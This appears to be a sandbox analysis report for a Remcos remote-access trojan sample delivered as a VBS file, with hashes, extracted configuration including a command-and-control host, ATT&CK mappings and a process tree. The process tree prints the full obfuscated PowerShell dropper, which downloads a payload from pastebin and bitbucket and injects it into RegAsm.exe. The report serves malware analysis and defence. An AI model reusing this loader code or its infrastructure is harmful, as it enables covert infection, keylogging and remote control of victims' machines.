remcos | f81f4cddc306cd06fb2cd456e08cd15e58cc55540fedfd3cc11d62fb74b6cd95

Analysis

max time kernel
299s
max time network
298s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
25-09-2024 06:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

envifa.vbs
Size

4.0MB
MD5

b9b5d25eb96b7de9629b3344aaca4d71
SHA1

e9f07e0dd33c986fc83ddf9e4e702dbb92dbb834
SHA256

f81f4cddc306cd06fb2cd456e08cd15e58cc55540fedfd3cc11d62fb74b6cd95
SHA512

69c1f2de49adc6d4cbc3f74ca83c8b1bdb882d10efd4d891345432e776e6a40d23fe456d23e8c004bc26a2c49a10baedf3255119e57f8e4481804250cfc614e3
SSDEEP

96:D6G7MtM9s/Q8u5QiOK09ALsFckHixZzan9gzdR3s:GSHbO9GsFcCudan9mhs

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://pastebin.com/raw/V9y5Q5vv

Extracted

Family

remcos

Botnet

RemoteHost

remcos2024fin.duckdns.org:4576

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-JKUC8S
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 5 IoCs

flow	pid	Process
2	3588	powershell.exe
3	3588	powershell.exe
4	3588	powershell.exe
5	3588	powershell.exe
6	3588	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3588	powershell.exe
3608	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
1	pastebin.com
1	bitbucket.org
3	pastebin.com
4	bitbucket.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3588 set thread context of 2032	3588	powershell.exe	81

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3608	powershell.exe
3608	powershell.exe
3588	powershell.exe
3588	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3608	powershell.exe
Token: SeDebugPrivilege	3588	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2032	RegAsm.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1084 wrote to memory of 3608	1084	WScript.exe	78
PID 1084 wrote to memory of 3608	1084	WScript.exe	78
PID 3608 wrote to memory of 3588	3608	powershell.exe	80
PID 3608 wrote to memory of 3588	3608	powershell.exe	80
PID 3588 wrote to memory of 2032	3588	powershell.exe	81
PID 3588 wrote to memory of 2032	3588	powershell.exe	81
PID 3588 wrote to memory of 2032	3588	powershell.exe	81
PID 3588 wrote to memory of 2032	3588	powershell.exe	81
PID 3588 wrote to memory of 2032	3588	powershell.exe	81
PID 3588 wrote to memory of 2032	3588	powershell.exe	81
PID 3588 wrote to memory of 2032	3588	powershell.exe	81
PID 3588 wrote to memory of 2032	3588	powershell.exe	81
PID 3588 wrote to memory of 2032	3588	powershell.exe	81
PID 3588 wrote to memory of 2032	3588	powershell.exe	81
PID 3588 wrote to memory of 2032	3588	powershell.exe	81
PID 3588 wrote to memory of 2032	3588	powershell.exe	81

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\envifa.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J☆Bm☆HY☆e☆Bm☆GU☆I☆☆9☆C☆☆Jw☆w☆Cc☆Ow☆k☆Hk☆egB5☆HE☆cg☆g☆D0☆I☆☆n☆CU☆c☆B6☆EE☆YwBP☆Gc☆SQBu☆E0☆cg☆l☆Cc☆OwBb☆FM☆eQBz☆HQ☆ZQBt☆C4☆TgBl☆HQ☆LgBT☆GU☆cgB2☆Gk☆YwBl☆F☆☆bwBp☆G4☆d☆BN☆GE☆bgBh☆Gc☆ZQBy☆F0☆Og☆6☆FM☆ZQBy☆HY☆ZQBy☆EM☆ZQBy☆HQ☆aQBm☆Gk☆YwBh☆HQ☆ZQBW☆GE☆b☆Bp☆GQ☆YQB0☆Gk☆bwBu☆EM☆YQBs☆Gw☆YgBh☆GM☆aw☆g☆D0☆I☆B7☆CQ☆d☆By☆HU☆ZQB9☆Ds☆WwBT☆Hk☆cwB0☆GU☆bQ☆u☆E4☆ZQB0☆C4☆UwBl☆HI☆dgBp☆GM☆ZQBQ☆G8☆aQBu☆HQ☆TQBh☆G4☆YQBn☆GU☆cgBd☆Do☆OgBT☆GU☆YwB1☆HI☆aQB0☆Hk☆U☆By☆G8☆d☆Bv☆GM☆bwBs☆C☆☆PQ☆g☆Fs☆UwB5☆HM☆d☆Bl☆G0☆LgBO☆GU☆d☆☆u☆FM☆ZQBj☆HU☆cgBp☆HQ☆eQBQ☆HI☆bwB0☆G8☆YwBv☆Gw☆V☆B5☆H☆☆ZQBd☆Do☆OgBU☆Gw☆cw☆x☆DI☆OwBb☆EI☆eQB0☆GU☆WwBd☆F0☆I☆☆k☆Gk☆agBj☆GM☆cw☆g☆D0☆I☆Bb☆HM☆eQBz☆HQ☆ZQBt☆C4☆QwBv☆G4☆dgBl☆HI☆d☆Bd☆Do☆OgBG☆HI☆bwBt☆EI☆YQBz☆GU☆Ng☆0☆FM☆d☆By☆Gk☆bgBn☆Cg☆I☆☆o☆E4☆ZQB3☆C0☆TwBi☆Go☆ZQBj☆HQ☆I☆BO☆GU☆d☆☆u☆Fc☆ZQBi☆EM☆b☆Bp☆GU☆bgB0☆Ck☆LgBE☆G8☆dwBu☆Gw☆bwBh☆GQ☆UwB0☆HI☆aQBu☆Gc☆K☆☆g☆Cg☆TgBl☆Hc☆LQBP☆GI☆agBl☆GM☆d☆☆g☆E4☆ZQB0☆C4☆VwBl☆GI☆QwBs☆Gk☆ZQBu☆HQ☆KQ☆u☆EQ☆bwB3☆G4☆b☆Bv☆GE☆Z☆BT☆HQ☆cgBp☆G4☆Zw☆o☆Cc☆a☆B0☆HQ☆c☆☆6☆C8☆LwBw☆GE☆cwB0☆GU☆YgBp☆G4☆LgBj☆G8☆bQ☆v☆HI☆YQB3☆C8☆Vg☆5☆Hk☆NQBR☆DU☆dgB2☆Cc☆KQ☆g☆Ck☆I☆☆p☆Ds☆WwBz☆Hk☆cwB0☆GU☆bQ☆u☆EE☆c☆Bw☆EQ☆bwBt☆GE☆aQBu☆F0☆Og☆6☆EM☆dQBy☆HI☆ZQBu☆HQ☆R☆Bv☆G0☆YQBp☆G4☆LgBM☆G8☆YQBk☆Cg☆J☆Bp☆Go☆YwBj☆HM☆KQ☆u☆Ec☆ZQB0☆FQ☆eQBw☆GU☆K☆☆n☆FQ☆ZQBo☆HU☆b☆Bj☆Gg☆ZQBz☆Fg☆e☆BY☆Hg☆e☆☆u☆EM☆b☆Bh☆HM☆cw☆x☆Cc☆KQ☆u☆Ec☆ZQB0☆E0☆ZQB0☆Gg☆bwBk☆Cg☆JwBN☆HM☆cQBC☆Ek☆YgBZ☆Cc☆KQ☆u☆Ek☆bgB2☆G8☆awBl☆Cg☆J☆Bu☆HU☆b☆Bs☆Cw☆I☆Bb☆G8☆YgBq☆GU☆YwB0☆Fs☆XQBd☆C☆☆K☆☆n☆HQ☆e☆B0☆C4☆RQBS☆EI☆VQBU☆EM☆TwBS☆EU☆TgBF☆FQ☆UwBP☆FM☆LwBz☆GQ☆YQBv☆Gw☆bgB3☆G8☆Z☆☆v☆G8☆d☆Bz☆G8☆ZwBh☆C8☆cwBz☆G8☆aQB2☆G4☆ZQ☆v☆Gc☆cgBv☆C4☆d☆Bl☆Gs☆YwB1☆GI☆d☆Bp☆GI☆Lw☆v☆Do☆cwBw☆HQ☆d☆Bo☆Cc☆I☆☆s☆C☆☆J☆B5☆Ho☆eQBx☆HI☆I☆☆s☆C☆☆JwBf☆F8☆XwBf☆F8☆XwBf☆GE☆UwBE☆EY☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆Xw☆t☆C0☆LQ☆t☆C0☆LQ☆t☆Cc☆L☆☆g☆CQ☆ZgB2☆Hg☆ZgBl☆Cw☆I☆☆n☆DE☆Jw☆s☆C☆☆JwBS☆G8☆Z☆Bh☆Cc☆I☆☆p☆Ck☆Ow☆=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('☆','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\envifa.vbs');powershell $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3608
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$fvxfe = '0';$yzyqr = 'C:\Users\Admin\AppData\Local\Temp\envifa.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $ijccs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($ijccs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('txt.ERBUTCORENETSOS/sdaolnwod/otsoga/ssoivne/gro.tekcubtib//:sptth' , $yzyqr , '_______aSDF_____________________________________-------', $fvxfe, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3588
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:2032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
3b07daf14dc0816fe631a6cf000e7056

SHA1
0accf3120f1dbb142e64b4c3ec6bc1a46b3a2485

SHA256
5cd4009e1549a0f02b50c7e559b83b5668dc259eb6c76993da55f895894cc9d9

SHA512
69c97c011702545f6bafb4086313e1b6d0bed67a8357fba4328fae273cd4849e8cb756cf61e1d9a21d919b752758e0392c4952b88d9c186fa4b24a41621a5498

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
7f803908e5595ac7805479ffa4f4fc41

SHA1
42e1ba3a6f437dfcdaa03d714d56e807910fe69b

SHA256
37b6b80af283174c508fcb8a5faa0854ba1ab2add391502bbd8e81c18df0ad4d

SHA512
a4aff0953c7827d879f94d9503963c04146c94fef8d4183ef1d1479a787339272db362349bdffc4f0235667a9c7daf8a962c8c641c12fd90277e0c4af8dbe04d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
3ca1082427d7b2cd417d7c0b7fd95e4e

SHA1
b0482ff5b58ffff4f5242d77330b064190f269d3

SHA256
31f15dc6986680b158468bf0b4a1c00982b07b2889f360befd8a466113940d8f

SHA512
bbcfd8ea1e815524fda500b187483539be4a8865939f24c6e713f0a3bd90b69b4367c36aa2b09886b2006b685f81f0a77eec23ab58b7e2fb75304b412deb6ca3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rvwo5vwf.5yd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2032-50-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-82-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-120-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-115-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-113-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-24-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-108-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-107-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-32-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-30-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-56-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-37-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-34-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-38-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-43-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-44-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-101-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-57-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-95-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-102-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-49-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-62-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-63-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-68-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-70-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-75-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-76-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-81-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-94-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-88-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2032-89-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3588-23-0x0000029CE9320000-0x0000029CE932A000-memory.dmp

Filesize
40KB

Download
memory/3588-21-0x0000029CE9310000-0x0000029CE931A000-memory.dmp

Filesize
40KB

Download
memory/3608-12-0x00007FFFC5380000-0x00007FFFC5E42000-memory.dmp

Filesize
10.8MB

Download
memory/3608-11-0x00007FFFC5380000-0x00007FFFC5E42000-memory.dmp

Filesize
10.8MB

Download
memory/3608-9-0x000001277F7B0000-0x000001277F7D2000-memory.dmp

Filesize
136KB

Download
memory/3608-33-0x00007FFFC5380000-0x00007FFFC5E42000-memory.dmp

Filesize
10.8MB

Download
memory/3608-10-0x00007FFFC5380000-0x00007FFFC5E42000-memory.dmp

Filesize
10.8MB

Download
memory/3608-0-0x00007FFFC5383000-0x00007FFFC5385000-memory.dmp

Filesize
8KB

Download
memory/3608-22-0x00007FFFC5380000-0x00007FFFC5E42000-memory.dmp

Filesize
10.8MB

Download